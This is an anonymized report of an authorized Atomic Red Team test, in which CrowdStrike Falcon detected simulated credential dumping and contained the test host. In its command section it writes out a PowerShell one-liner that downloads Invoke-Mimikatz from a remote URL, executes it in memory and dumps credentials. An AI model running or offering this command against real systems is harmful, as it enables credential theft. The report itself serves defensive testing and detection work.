Atomic Red Team Test – Containment Report (Anonymized)

# 1. Overview

This document records the details of an Atomic Red Team test that resulted in automatic containment of a test device by CrowdStrike Falcon due to simulated credential dumping activity.

# 2. Device & Test Information

- Device Name: Test-Host-01  
- Date: April 15, 2025  
- User: test\_user  
- MITRE Technique ID: T1059.001  
- Test Name: PowerShell Execution (Simulated Mimikatz)  
- Atomic Test Number: 1  
- Execution Method: PowerShell command invoking a simulated credential dumping script

# 3. CrowdStrike Detection & Response

CrowdStrike Falcon detected the PowerShell-based execution as credential dumping activity (via Mimikatz simulation). As part of Falcon's policy, the host was automatically placed in containment to prevent lateral movement or further activity.

## Command Executed:

cmd.exe /c powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/.../Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

# 4. Resolution & Recommendations

- Host was flagged and placed in containment by CrowdStrike Falcon as expected.  
- Security team was notified that this activity was part of an authorized Atomic Red Team test.  
- Recommendation: Suppress or whitelist alerts tied to known simulation tools on designated test systems.  
- Resume additional testing only after the host is released from containment.